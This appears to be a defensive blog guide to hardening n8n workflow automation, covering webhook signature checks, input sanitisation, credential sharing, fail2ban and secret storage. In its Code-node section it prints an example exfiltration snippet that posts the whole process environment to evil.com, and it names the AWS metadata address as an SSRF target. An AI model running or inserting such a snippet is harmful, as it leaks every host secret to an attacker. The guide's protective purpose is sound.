Here's the trap I see most teams fall into: they treat workflow security like a single gate. They put a strong password on the n8n login page, maybe add HTTPS, and mentally check the box. Then they build. Six months later, an imported community workflow exfiltrates their database password through a Code node, or a webhook endpoint accepts a forged Stripe event and cancels real subscriptions, or a teammate rotates an API key and misses the fourteen duplicate credentials hiding in abandoned workflows.
The login page was never the weak link.
Every workflow security review should cover four vectors: webhook input (what enters the system), credentials (how keys are stored and shared), code nodes (what execution context can reach), and secrets at rest (how sensitive material lives on disk). Miss one, and the others hardly matter.
HTTPS encrypts the pipe. It does not validate the payload. Yet most teams I review treat a webhook payload as trusted the moment it arrives over TLS. That is a category error.
If your webhook endpoint performs anything more than logging — and especially if it triggers destructive actions like account cancellation, payment refund, or database writes — you need cryptographic proof of sender identity. That means HMAC signature verification, checked before the payload touches any business logic.
Stripe signs every webhook with stripe-signature, GitHub uses x-hub-signature-256, Shopify and Twilio have their own variants. The pattern is identical: the platform hashes the raw body with a shared secret, and you recompute the hash to verify it. I drop a Code node as the very first step after every production webhook:
// Code node: Verify Stripe webhook signature
// Mode: Run Once for All Items
const crypto = require('crypto');
const webhookSecret = 'whsec_...'; // Store this in a credential, never hardcode
const payload = $input.first().json.rawBody;
const signatureHeader = $input.first().json.headers['stripe-signature'];
function verifyStripeSignature(payload, header, secret) {
const elements = header.split(',');
const details = {};
for (const element of elements) {
const [key, value] = element.split('=');
details[key] = value;
}
const timestamp = details['t'];
const signature = details['v1'];
if (!timestamp || !signature) {
return { valid: false, error: 'Missing timestamp or signature' };
}
const ageSeconds = Math.floor(Date.now() / 1000) - parseInt(timestamp);
if (ageSeconds > 300) {
return { valid: false, error: `Event too old: ${ageSeconds}s` };
}
const signedPayload = `${timestamp}.${payload}`;
const expectedSignature = crypto
.createHmac('sha256', secret)
.update(signedPayload, 'utf8')
.digest('hex');
const isValid = crypto.timingSafeEqual(
Buffer.from(signature, 'utf8'),
Buffer.from(expectedSignature, 'utf8')
);
return { valid: isValid, error: isValid ? null : 'Signature mismatch' };
}
const result = verifyStripeSignature(payload, signatureHeader, webhookSecret);
if (!result.valid) {
return [{ json: { verified: false, error: result.error, action: 'rejected' } }];
}
return [{ json: { verified: true, event: JSON.parse(payload) } }];
A few implementation details matter:
timingSafeEqual to prevent timing attacks.Different platforms use different header formats. If you standardise on one verification node per integration, the differences are manageable:
| Platform | Header | Format | Notes |
|---|---|---|---|
| Stripe | stripe-signature |
t=timestamp,v1=hex |
Requires raw body |
| GitHub | x-hub-signature-256 |
sha256=hex |
Simple prefix strip |
| Shopify | x-shopify-hmac-sha256 |
Base64 | Decode before compare |
| Twilio | x-twilio-signature |
HMAC-SHA1, Base64 | Legacy algorithm |
HMAC proves the payload came from the real platform. It does not mean the payload is safe.
Sanitising webhook input means something specific. It does not mean stripping HTML tags and calling it clean. It means type enforcement, length limits, character allowlisting, and — most importantly — never interpolating user data directly into queries or commands.
I have seen workflows take a contact form field and drop it straight into a PostgreSQL query with backticks. This is how you get your contacts table dropped. The right approach is validation followed by parameterised queries:
// Code node: Input sanitization gate
// Mode: Run Once for Each Item
function sanitizeString(input, maxLength = 255) {
if (typeof input !== 'string') return '';
return input
.trim()
.slice(0, maxLength)
.replace(/[<>'";&|`$\\]/g, '');
}
function isValidEmail(email) {
return /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/.test(email);
}
const name = sanitizeString($input.item.json.name, 100);
const email = $input.item.json.email?.trim().toLowerCase() ?? '';
if (!name || !isValidEmail(email)) {
return [{ json: { error: 'Invalid input', rejected: true } }];
}
return [{
json: { sanitizedName: name, sanitizedEmail: email, receivedAt: new Date().toISOString() }
}];
Then the PostgreSQL node uses $1, $2, $3 with the sanitised values mapped in. The node handles escaping. You do not hand-craft SQL strings with + or template literals.
If your webhook accepts a URL and your workflow fetches it, an attacker can point it at
http://169.254.169.254/latest/meta-data/ on AWS and steal instance credentials. Validate
and allowlist domains before any outbound fetch. If the URL does not match an expected
pattern, reject it before the HTTP Request node runs.
There is a setting in n8n that, if left in its pre-2.0 default, grants every workflow — including ones you import from the community — full read access to every secret on the host.
Any execution context that can read the host environment can exfiltrate every secret. In workflow automation, that context is often a single Code node. The blast radius of one "helpful" pasted snippet is total.
By default, older n8n versions expose process.env inside the Code node. Any JavaScript running there can read your database password, your encryption key, your OAuth tokens, and every API secret. An imported workflow template with a buried payload like this will phone home with the entire environment:
const leak = JSON.stringify(process.env);
await this.helpers.httpRequest({
method: 'POST',
url: 'https://evil.com/collect',
body: leak
});
The threat model is not limited to malicious actors. I have watched developers paste "helpful" utility code from forums into a Code node without reading every line. One paste operation compromises every secret on the server.
The fix is absolute. Set this in your environment and verify it:
N8N_BLOCK_ENV_ACCESS_IN_NODE=true
Test that it is active:
// Test Code node — this should throw when blocking is enabled
try {
const envVars = process.env;
return [{ json: { blocked: false, warning: 'ENV ACCESS IS NOT BLOCKED' } }];
} catch (e) {
return [{ json: { blocked: true, message: 'Environment access correctly blocked' } }];
}
If a Code node legitimately needs a secret, pass it through a credential. Create a custom credential type or use an HTTP Request node upstream with the credential attached, then pass only the specific value needed into the Code node via input data. Do not give the node the master key to the kingdom for the sake of convenience.
Teams love duplicating API keys. When a new workflow needs Slack, the developer opens the credential panel, creates a new Slack API credential, and pastes the same bot token. It feels faster than finding the existing one. It is, in fact, the most expensive way to save ten seconds.
Every duplicated credential is a future outage during rotation. A team with thirty workflows using thirty copies of the same Slack token pays an O(n) maintenance cost every time that token changes. Miss one, and you have a silent production failure.
The right default is one credential per API, shared across workflows:
When the key rotates, you update one credential. Every workflow picks it up immediately. The table is not close:
| Approach | Rotation Effort | Stale Key Risk | Audit Trail |
|---|---|---|---|
| Duplicate per workflow | O(n) — update every copy | High — orphans hide everywhere | Poor |
| Shared credential | O(1) — update once | None | Good — single point of audit |
| Hardcoded in Code nodes | O(n) — find and edit code | Very high | None |
A shared credential available to the entire workspace is accessible by anyone who can create a workflow. If a contractor account gets compromised, every API that credential touches is compromised. Limit sharing to the specific users who need it.
You also need to audit. Credentials accumulate like digital clutter. Former employees' personal API keys remain valid in production nodes. Deprecated integrations sit orphaned in the credentials panel, still holding active tokens. I schedule a weekly audit workflow that hits the n8n API and maps every credential to the workflows that use it:
// Code node: Audit credential usage
// Mode: Run Once for All Items
const n8nApiUrl = 'http://localhost:5678/api/v1';
const apiKey = $input.first().json.n8nApiKey;
const credentials = await this.helpers.httpRequest({
method: 'GET', url: `${n8nApiUrl}/credentials`,
headers: { 'X-N8N-API-KEY': apiKey }
});
const workflows = await this.helpers.httpRequest({
method: 'GET', url: `${n8nApiUrl}/workflows`,
headers: { 'X-N8N-API-KEY': apiKey }
});
const usageMap = {};
for (const c of credentials.data) {
usageMap[c.id] = { name: c.name, type: c.type, usedIn: [] };
}
for (const w of workflows.data) {
for (const node of (w.nodes || [])) {
for (const [type, ref] of Object.entries(node.credentials || {})) {
if (usageMap[ref.id]) usageMap[ref.id].usedIn.push(w.name);
}
}
}
const orphaned = Object.values(usageMap).filter(c => c.usedIn.length === 0);
return [
{ json: { summary: true, total: credentials.data.length, orphaned: orphaned.length } },
...orphaned.map(c => ({ json: { type: 'orphaned', ...c } }))
];
A credential not attached to a workflow is a credential waiting to be forgotten until it leaks.
HMAC verifies identity. IP allowlisting filters location. Used together, they provide defense in depth that either layer alone cannot.
For webhooks from known platforms — Stripe, GitHub, Twilio — the source IP ranges are published and stable. I enforce these at the reverse proxy, not inside n8n:
location /webhook/ {
allow 52.31.0.0/16; # Stripe webhook IPs
allow 192.30.252.0/22; # GitHub webhook IPs
allow 10.0.0.0/8; # Internal network
deny all;
proxy_pass http://127.0.0.1:5678;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
Combine this with header authentication in the Webhook node itself. If an attacker bypasses the proxy somehow — misconfiguration, container networking edge case — the n8n node still requires the secret header. Two layers fail better than one.
On the other end of the attack surface is the login page. n8n ships with no brute-force protection. No account lockout. No progressive delay. An exposed instance with a weak or leaked admin password can be cracked in under an hour with credential stuffing.
I protect this with fail2ban at the reverse proxy layer. Nginx logs every POST /rest/login that returns 401. After five failures in five minutes, the source IP gets an hour in the firewall:
# /etc/fail2ban/jail.d/n8n.conf
[n8n]
enabled = true
port = 443
filter = n8n-auth
logpath = /var/log/nginx/access.log
maxretry = 5
findtime = 300
bantime = 3600
action = iptables-multiport[name=n8n, port="443", protocol=tcp]
If you cannot run fail2ban, place the editor behind a VPN like Tailscale and leave only the webhook paths public. The editor is a full administrative interface; anyone who reaches it can create workflows, access credentials, and execute arbitrary code. The login page is not a sufficient barrier by itself.
The N8N_ENCRYPTION_KEY environment variable protects every stored credential in n8n. If you do not set one explicitly, n8n generates a random key on first boot and stores it inside the container at ~/.n8n/.n8n-config. The moment you rebuild that container without persisting the volume, every credential decrypts to garbage.
Generate the key once, treat it as immutable, and back it up in at least two secure locations:
openssl rand -hex 32
n8n does not support key rotation natively; changing the key after credentials are saved invalidates all of them. If you must rotate, export every workflow, stand up a new instance with the new key, import, and re-enter every credential by hand. Avoid this by never rotating unless you have to.
For day-to-day secret management, plain-text environment variables in docker-compose.yml or .env files are the floor, not the ceiling. The .env file is better than hardcoding in Compose because you can gitignore it, but it is still plaintext on disk. Anyone with host filesystem access reads every secret.
Move to Docker secrets. They are mounted as files inside the container and are not exposed as environment variables. n8n supports the _FILE suffix convention for many variables:
secrets:
n8n_encryption_key:
file: ./secrets/n8n_encryption_key.txt
db_password:
file: ./secrets/db_password.txt
services:
n8n:
image: n8nio/n8n:1.94.1
secrets:
- n8n_encryption_key
- db_password
environment:
- N8N_ENCRYPTION_KEY_FILE=/run/secrets/n8n_encryption_key
- DB_POSTGRESDB_PASSWORD_FILE=/run/secrets/db_password
Keep the secrets/ directory out of version control and restrict permissions to 600. If a variable does not support the _FILE suffix, use an entrypoint script to read the file and export it at container startup, then unset it after n8n initialises.
In Kubernetes, the pattern is similar. You mount secrets as files into the pod via volume mounts from Kubernetes Secret resources, then reference those file paths with the _FILE suffix. Avoid putting literal values into ConfigMaps or container environment definitions. For GitOps workflows, use Sealed Secrets or an external secrets operator to keep encrypted manifests in version control while keeping plaintext out of the cluster state.
You do not need a security audit to close the most common gaps. Before lunch, check these five items:
Verify N8N_BLOCK_ENV_ACCESS_IN_NODE=true is set and active. Run the test node. If it
returns unblocked, stop everything else and fix it.
If the platform provides a signature secret, use it. Place the verification node first.
Pick the API key with the most copies and replace them with one shared credential. Schedule the audit workflow to find orphans.
Install and configure fail2ban for /rest/login, or move the editor behind a VPN and
leave webhooks public.
Pick N8N_ENCRYPTION_KEY or your database password and switch it to a Docker secret with
the _FILE suffix.
Workflow security is not about perfect lockdown. It is about eliminating the gaps that standard advice ignores.